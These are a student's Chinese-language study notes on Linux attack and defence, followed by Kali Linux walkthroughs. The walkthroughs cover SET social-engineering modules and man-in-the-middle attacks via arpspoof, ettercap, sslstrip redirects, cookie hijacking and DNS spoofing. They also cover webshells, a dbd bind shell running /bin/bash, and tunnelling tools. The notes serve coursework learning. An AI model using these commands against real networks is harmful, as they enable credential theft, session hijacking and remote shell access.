《网络攻防技术》第八章学习

一、Linux操作系统基本框架

本章通过介绍Linux的结构和安全机制,引出了对Linux系统的攻击过程,包括首先从远程侵入主机,然后在本地获得权限,并提升权限、消踪灭迹和植入后门的过程。并根据攻击的过程提出相应的防御策略,通过工具和具体示例介绍更加容易让人理解。
Linux系统具有以下优点:

  • 跨平台的硬件支持
  • 丰富的软件支持
  • 多用户多任务
  • 可靠的安全性
  • 良好的稳定性
  • 完善的网络功能
    Linux系统结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境。在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统;而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。

二、Linux操作系统安全机制

Linux身份认证机制:Linux用户、linux用户组、Linux的本地登陆用户认证机制、Linux的远程登陆用户认证机制、Linux的统一身份认证中间件-PAM。
Linux授权与访问控制机制:文件所有者、文件的访问权限、文件的特殊执行权限、Linux访问机制的不足及改进。
Linux安全审计机制:连接时间日志、进程控制日志、错误日志记录。

三、Linux系统远程攻防技术

攻击者在通过远程渗透技术获得访问权后,就会转入本地攻击,以求获得更高的权限。这些技术包括本地特权提升,在系统上消踪灭迹,远程控制后门程序。
Linux远程口令字猜测攻击:针对ssh、telnet、ftp、http等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。
安全防御措施:使用不宜猜中的强口令字。

Linux网络服务远程渗透攻击:最重要的攻击渠道是对监听网络服务安全漏洞的渗透利用。
安全防范措施:

  • 禁用所有不必要的网络服务
  • 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
  • 及时更新网络服务版本
  • 使用xinetd、防火墙为linux网络服务添加网络访问控制机制
  • 建立入侵检测与应急响应计划流程

攻击Linux客户端程序和用户
安全防范措施:

  • 及时更新常用的网络客户端软件
  • 自身安全意识、经验与心智能力

攻击Linux路由器和监听器:攻击linux路由器与防火墙。

四、Linux系统本地安全攻防技术

  • Linux本地特权提升

    • Linux用户口令字破解
    • 利用sudo的缺陷进行特权提升
    • 利用用户态SUID程序漏洞进行特权提升
    • 针对SUID程序的本地缓冲区溢出攻击
    • 针对SUID程序的符号链接攻击
    • 针对SUID程序的竞争条件攻击
    • 针对SUID程序的共享函数库攻击
    • 利用内核空间代码漏洞进行特权提升
    • 利用系统配置不当实施本地特权提升
  • Linux系统上的消踪灭迹:清理系统上的日志记录,从而有效地抹掉自己的行动踪迹

  • Linux系统远程控制后门程序:linux系统上植入远程控制后门程序的类型包括特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具

课后练习 P321

Linux靶机使用tcpdump嗅探:

nmap扫描Linux靶机地址:

攻击成功,获取root权限:

搜索samba漏洞:

嗅探发现攻击机:

KaliSecurity

KaliSecruity-漏洞利用之SET

SET是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学利用的套件,通常结合metasploit来使用。输入setoolkit命令,打开SET套件:

菜单选项1是社会工程学攻击,输入1回车,可以看到相应模块:

分别为:
1)鱼叉式钓鱼攻击(Spear-Phishing Attack Vectors)

2)网站攻击(Website Attack Vectors)

3)介质感染攻击(Infectious Media Generator)

4)创建Payload并监听(Create a Payload and Listener)

5)群发邮件攻击(Mass Mailer Attack)

6)基于Arduino的攻击(Arduino-Based Attack Vector)

7)无线接入点攻击(Wireless Access Point Attack Vector)

8)二维码攻击(QRCode Generator Attack Vector)

9)powershell攻击(Powershell Attack Vectors)

10)短信欺骗攻击(SMS Spoofing Attack Vector)

11)第三方模块(Third Party Modules)

一、鱼叉式钓鱼攻击
鱼叉式钓鱼攻击主要目的为发送存在恶意软件的钓鱼邮件:

相应的Payload可以选择不同的漏洞:

二、网站攻击
此时可以开放一个WEBSever服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。

如Java Applet Attack方法就是需要目标有Java运行环境,为了仿真,可以选择自建模板或克隆一个网站。

三、介质感染攻击
借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。

四、创建Payload并监听
创建一个返回的Payload并开启监听,可以看到以下后门,与Metasploit给出的后门类似。

五、群发邮件攻击
支持导入列表并向列表中的每个人发送邮件。

六、基于Arduino的攻击

七、无线接入点攻击
无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。

八、二维码攻击
填入一个危险的URL,使得被攻击者扫描二维码自动访问页面而中招。

九、powershell攻击

十、短信欺骗攻击
短信模块遇到问题现在不可用:

十一、第三方模块

KaliSecruity-嗅探欺骗与中间人攻击

  • 为Kali设置开启端口转发
    echo 1 > /proc/sys/net/ipv4/ip_forward

  • 设置ssltrip。执行命令iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081,将所有的80请求转发到了8081上。

  • ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。找到路径为 /etc/ettercap的etter.conf文件,打开文件,将其中的etc_uid和etc_gid均改为0,并将下面Linux分类下的if you use iptables这一行,将注释去掉,保存退出即可打开:

  • 输入ettercap -G,打开ettercap图形化界面。点击Sniff->Unified sniffing,选择嗅探网卡,默认为eth0。

  • 在hosts下选择先scan for hosts扫描内网信息,发现有3台主机被加入主机列表。

  • 扫描完毕后选host list查看主机列表。

  • 将它们添加为目标,网关添加为Target1,被攻击的目标添加为Target2。然后在mitm选项卡选择arp poisoning—> Arp poisoning —> Sniff remote connections。

  • 目标主机上使用命令arp -a查看ARP地址表。

  • 选择 Start —> Start sniffing 开始监听,这时目标主机的所有流量都是通过攻击者的主机出去的。当处于同一个局域网的受害者访问网页进行登陆时,密码就可以被记录下来。

Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
进行arp欺骗:
arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;

会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster
会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:
http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。

图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。

DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。
在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:
127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。

URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

KaliSecruity-权限维持之后门

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与web后门统称后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。

  • Weevely
    Weevely是一款使用python编写的webshell工具,可以算作是linux下的一款菜刀替代工具(限于php)。

  • WeBaCoo
    WeBaCoo(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WeBaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie头中。

  • dbd
    加密版的nc
    监听端:dbd -l -p 2333 -e /bin/bash -k password
    连接端:dbd 127.0.0.1 2333 -k password

  • sbd
    与dbd使用方法类似

  • U3-Pwn
    与Metasploit Payload结合使用工具,从菜单可以单刀多针对移动设备如光驱镜像、U盘等。

  • Intersect

KaliSecruity-权限维持之Tunnel

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。Tunnel工具集包含了一系列用于创建通信隧道、代理的工具。

1.Cryptcat
Cryptcat是Netcat的加密版本,与Dbd、Sbd使用类似。Cryptcat支持TCP、UDP两种网络协议,它可以在两个计算机之间建立指定的连接,并使用特定的密钥对传输数据进行加密。为了提高加密,该工具允许用户在每次连接使用自定义的密钥,从而保证数据的安全性。

2.DNS2TCP
该技术一般为透明http代理,如果你没有账号就无法上网。但提供热点的ISP对热点的DNS查询服务并不作限制,你会发现获取到的dns地址是有效的,并且可以进行dns查询,这时可以使用DNS tunnel技术来实现免费上网。DNS tunnel 即 DNS 通道,就是利用DNS查询过程建立起隧道以传输数据。

3.Miredo
Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道链接,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。

4.Proxychains
Proxychains 是内网渗透测试经常会用到一款代理工具,能够强制使任何应用的TCP连接使用SOCKS4,SOCKS或者HTTP(S)代理进行连接,配置文件位于/etc/proxychains.conf

5.Proxytunnel
Proxytunnel可通过标准的HTTPS代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行HTTP(S)传输。

6.ptunnel
借助icmp数据包建立隧道通信。

7.pwnat
内网下通过udp通信。

8.socat
可以在不同协议上进行转发数据。

9.sslh
是一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和openvpn连接,这使得通过443端口连接ssh服务器或者openvpn服务同时在该端口上提供https服务成为可能,sslh可以作为一个研究端口复用的例子。

KaliSecruity-逆向工程工具

逆向工程是根据已有的东西和结果,通过分析来推导出具体的实现办法。比如看到别人写的某个exe程序能够做出某种漂亮的动画效果,你通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程:不仅仅是反编译,而且还要推导出设计,并且文档化,逆向软件工程的目的是使软件得以维护。

  • Edb-Debugger
    EDB是一个基于Qt4开发的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。可以将文件直接拖进来,或使用顶部的下拉菜单的File菜单,然后选择open,将可执行文件加载到Edb-Debugger中进行调试。

  • Ollydbgs
    经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在Kali下是Wine方式运行的Ollydbg。

  • jad
    Java反编译工具

  • Radare2
    是一款开放源代码的逆向工程平台,它可以反汇编、调试、分析和操作二进制文件。

  • Recstudio
    反编译工具

  • APKTool
    GOOGLE提供的APK编译工具,能够反编译及回编译apk,同时安装反编译系统apk所需要的framework-res框架,清理上次反编译文件夹等功能。

  • Clang、Clang++
    Clang是一个C语言、C++、Objective-C、Objective-C++语言的轻量级编译器,类似于gcc编译器;
    Clang++是clang的另一个升级版本,使用方法其实都是一样的,类似于gc++编译器。

  • D2j-des2jar
    反汇编dex文件到jar文件,进而可以使用其他工具查看源代码。

  • Flasm
    主要用于直接修改swf文件里的脚本actionscript。swf转fla文件的软件不能确保100%还原,如果只是修改as脚本代码,flasm是最佳的选择,因为他只修改脚本,资源数据不做修改。

  • Javasnoop
    一个java应用程序安全测试工具,允许以拦截的方法,篡改数据和hack运行在你计算机上的java应用程序。通常在没有源代码的情况下,测试java客户端的安全性最好的结果是不可预知的,最坏的结果是不切实际的。

《Python 黑帽子》第七、八章

Black_hat_Python_Chapter7
Black_hat_Python_Chapter8